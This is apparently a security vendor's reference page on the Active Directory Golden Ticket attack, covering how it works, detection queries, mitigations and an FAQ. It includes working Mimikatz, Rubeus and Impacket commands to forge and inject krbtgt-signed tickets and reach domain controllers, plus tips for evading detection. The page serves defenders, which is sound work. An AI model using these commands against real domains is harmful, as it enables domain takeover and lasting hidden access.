1. Resources
  2. Identity Threats
  3. Active Directory

Golden Ticket

Also known as: Golden Ticket attack, Forged TGT, krbtgt ticket forgery

An attacker who holds the krbtgt account's key forges Kerberos ticket-granting tickets for any user and any group, and keeps domain-wide access until the key is rotated twice.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Tier 0 or tenant admin
The krbtgt account's NT hash or AES key, which takes replication rights (DCSync), a copy of NTDS.dit or administrator access to a domain controller.
What the attacker gains
A TGT for any identity with any group membership, accepted by every domain controller in the domain: lasting control of the domain.
Threat groups
Ke3changAPT29APT32BRONZE BUTLEREarth LuscaLAPSUS$Mustang PandaNIMBUS MANTICOREStorm-0501Groups that MITRE ATT&CK records using T1558.001, T1550.003, T1003.006.

How it works

Every ticket-granting ticket (TGT) in a domain is encrypted and signed with one key: the long-term key of the krbtgt account. When a client presents a TGT to ask for a service ticket, the domain controller decrypts it with that key and trusts what it finds inside, including the Privilege Attribute Certificate (PAC) that lists the user's SID and group memberships. The KDC does not look the TGT up anywhere. If it decrypts and the signatures verify, it is genuine as far as Kerberos is concerned.

Whoever holds the krbtgt key can therefore write a TGT from nothing, offline, without sending a single packet to a domain controller. This is the Golden Ticket attack. The forger chooses:

  • the user name and RID (commonly RID 500, the built-in Administrator),
  • the group RIDs in the PAC (Domain Admins 512, Enterprise Admins 519, Schema Admins 518),
  • the lifetime, with no regard for the domain's ticket policy,
  • the encryption type, by using the matching krbtgt key (RC4 with the NT hash, or AES).

The forged TGT is then used like any other: the attacker presents it to a domain controller, receives real service tickets, and reaches any service as the chosen identity. Because the forgery skips the AS exchange, no domain controller ever logged the issuance of that TGT.

Two details limit and shape the attack:

  • PAC requestor validation. Since the updates in KB5008380 (enforced from October 2022), TGTs carry a requestor buffer with the user's SID, and the KDC checks it against the account named in the ticket. A ticket for a user that does not exist, or with a name and SID that disagree, is rejected. Current tools add the buffer, and forgers use a real account's name and RID.
  • Scope. A krbtgt key is valid for its own domain. Each read-only domain controller has its own krbtgt account with limited reach. Crossing from a child domain to the forest root with extra SIDs is covered under child-to-parent trust escalation.

A Diamond Ticket uses the same key differently: it modifies a TGT that the KDC really issued, so that an issuance record exists.

Prerequisites

  • The krbtgt key of the target domain. Routes to it: DCSync with replication rights, NTDS.dit extraction from a domain controller or a backup, or credential dumping on a domain controller.
  • The domain's fully qualified name and SID, both readable by any domain user.
  • Network access to a domain controller (port 88) and to the target services when the ticket is used. Creating the ticket needs no access at all.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Collect the inputs

The domain SID is public within the domain:

(Get-ADDomain).DomainSID.Value

The krbtgt key comes from one of the routes above. Take the AES256 key as well as the NT hash: a ticket encrypted with AES matches what a modern domain issues.

2. Forge the ticket

Mimikatz builds the ticket and, with /ptt, injects it into the current logon session instead of writing a file. /endin and /renewmax are in minutes; here they copy the default domain policy of 10 hours and 7 days rather than the tool's 10-year default:

mimikatz # kerberos::golden /user:Administrator /domain:corp.example.com /sid:S-1-5-21-1111111111-2222222222-3333333333 /aes256:<krbtgt_aes256_key> /id:500 /groups:513,512,520,518,519 /endin:600 /renewmax:10080 /ptt

Rubeus can query LDAP for the user's real attributes, so that the PAC matches the directory (group list, logon count, password timestamps), and can print the equivalent explicit command for offline use:

# Pull the PAC values for the user from LDAP, forge and inject
.\Rubeus.exe golden /aes256:<krbtgt_aes256_key> /user:Administrator /ldap /printcmd /ptt

# Everything set by hand, no LDAP query
.\Rubeus.exe golden /aes256:<krbtgt_aes256_key> /user:Administrator /domain:corp.example.com /sid:S-1-5-21-1111111111-2222222222-3333333333 /id:500 /groups:513,512,520,518,519 /ptt

From Linux, Impacket writes the ticket to a credential cache file. -duration is in hours:

ticketer.py -aesKey <krbtgt_aes256_key> -domain-sid S-1-5-21-1111111111-2222222222-3333333333 \
    -domain corp.example.com -user-id 500 -groups 513,512,520,518,519 -duration 10 Administrator

3. Use the ticket

On Windows the injected TGT is used automatically. Address the target by name, so that Kerberos is chosen:

klist
dir \\DC01.corp.example.com\C$

On Linux, point the Kerberos library at the cache and use any Kerberos-aware tool:

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.example.com/Administrator@DC01.corp.example.com

Presenting a ticket from a cache is the Pass-the-Ticket technique; the difference here is that the ticket was never issued.

Impact

The attacker can act as any account in the domain, including members of Protected Users and accounts whose passwords were just reset. Password changes, MFA and smart card requirements do not apply, because the ticket replaces the whole sign-in.

It is first of all a persistence technique. The krbtgt password is changed rarely, in many domains never, so a key stolen once keeps working for years. An incident response that resets every administrator password but leaves krbtgt alone has not removed the attacker.

OPSEC and artifacts

  • Realistic lifetime. Operators set the lifetime to the domain's policy (10 hours by default) instead of the 10-year tool default. What remains: nothing in the ticket's timestamps, which is why lifetime checks only catch careless forgeries.
  • AES instead of RC4. Forging with the AES256 key avoids an RC4 TGT in a domain that issues AES. What remains: a forgery made with only the NT hash is an RC4 TGT. A domain controller that no longer accepts RC4 refuses it, and in a domain that issues AES it is the odd one out.
  • A real user with consistent PAC data. Rubeus /ldap copies the user's real group list and attributes so the PAC looks like one the KDC would build. A ticket with a made-up user or a mismatched RID now fails on patched domain controllers and writes KDC System event 37 or 38.
  • No AS exchange. The forged TGT has no event 4768. What remains: event 4769 for every service ticket requested with it, naming the account and the client address, with no earlier TGT request for that account from that address. On domain controllers that log ticket hashes (the 2025 updates to events 4768 and 4769), the hash of the TGT used in the request matches no ticket that any domain controller issued.
  • Getting the key. The theft that precedes the forgery is usually louder than the forgery: event 4662 with replication GUIDs for DCSync, or shadow copy and ntdsutil activity on a domain controller.
  • On the hosts. Injecting a ticket leaves the tool's process and command line (event 4688, EDR), and on the targets a Kerberos network logon (4624 type 3) with special privileges (4672) for the forged identity.
  • Files. .kirbi and .ccache files hold the ticket and its session key and are credentials in their own right.

Detection

Forging is invisible. Detection works on use, and on the theft of the key.

  • Service ticket without a TGT. A successful event 4769 for an account and client address with no successful event 4768 for that pair inside the TGT lifetime and renewal period. Run this over a window at least as long as the maximum renewal age:
let tgt = WindowsEvent
    | where EventID == 4768 and tostring(EventData.Status) =~ "0x0"
    | project Account = tolower(tostring(EventData.TargetUserName)), Source = tostring(EventData.IpAddress);
WindowsEvent
| where EventID == 4769 and tostring(EventData.Status) =~ "0x0"
| extend Account = tolower(tostring(split(tostring(EventData.TargetUserName), "@")[0])),
         Source = tostring(EventData.IpAddress)
| where Account !endswith "$"
| join kind=leftanti tgt on Account, Source
| summarize Requests = count(), Services = make_set(tostring(EventData.ServiceName), 20) by Account, Source

A TGT that was stolen and moved to another machine leaves the same pattern, and so do log gaps and domain controllers that are not collected, so confirm coverage before concluding.

  • KDC validation events. On patched domain controllers the System log records tickets that fail the newer PAC checks: event 37 for a ticket without the requestor information and event 38 for one whose requestor does not match the account. The Golden Ticket detection rules read them.
  • Encryption type. RC4 service tickets (0x17) requested for services that support AES, in a domain that normally issues AES. See the Kerberos RC4 downgrade rules.
  • Impossible accounts. Kerberos activity for an account that is disabled or does not exist, or a privileged logon (4624 with 4672) for a user whose directory group membership does not grant it.
  • Key theft. Replication requests from a host that is not a domain controller. See the DCSync detection rules.

Mitigation

Nothing prevents forgery once the key is out. The work is to keep the key in, and to be able to replace it.

  • Reset the krbtgt password twice after any suspected compromise. The domain keeps the current and the previous key, so one reset leaves the stolen key valid. Wait at least the maximum ticket lifetime between the two resets and confirm replication to every writable domain controller. The krbtgt password reset guide has the procedure and the checks.
  • Reset krbtgt on a schedule, so that an undetected theft has a limited life and the procedure is practiced.
  • Protect the routes to the key. Treat domain controllers, their backups and their virtual disks as Tier 0. Review who holds the replication rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) on the domain, which is what DCSync needs.
  • Administer domain controllers only from dedicated workstations and keep Tier 0 credentials off lower-tier hosts.
  • Keep domain controllers patched so that the PAC requestor and signature checks are enforced and their events are logged.
  • Move the domain to AES so that RC4 tickets stand out. See the RC4 to AES migration guide and how to secure the Kerberos authentication protocol.
  • Contain before rotating. In an incident, remove the attacker's access to domain controllers and replication first; otherwise the new key is stolen as well.

Controls such as Protected Users, short ticket lifetimes and "account is sensitive and cannot be delegated" limit the theft of real tickets. They do not constrain a forged one, because the forger writes the lifetime and the groups.

Detection rules for this attack

Log events to collect

FAQ

What does an attacker need to create a Golden Ticket?

The key of the krbtgt account (its NT hash or, better, its AES256 key), the domain's DNS name and the domain SID. The name and SID are readable by any user. The key is the hard part: it takes replication rights, a copy of the AD database, or administrator access to a domain controller, so a Golden Ticket is a persistence technique used after the domain has already fallen.

Does changing the Administrator password stop a Golden Ticket?

No. The forged ticket is validated with the krbtgt key, not with any user's password, and the attacker can put any user name in it. Only resetting the krbtgt password twice, with enough time between the resets for replication and for issued tickets to expire, invalidates forged tickets.

How long is a Golden Ticket valid?

As long as the forger writes into it. Mimikatz and Impacket default to ten years. The domain's ticket lifetime policy is applied by the KDC when it issues a ticket, and a forged ticket never went through that step. In practice the ticket works until the krbtgt key it was made with is rotated out.

Can a Golden Ticket be detected?

Not at the moment it is created, because that happens offline. It can be detected when it is used: a service ticket request with no earlier TGT request from that account and client, KDC System events 37 and 38 for tickets that lack or contradict the PAC requestor field on patched domain controllers, ticket lifetimes beyond policy, and RC4 tickets in an AES domain.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.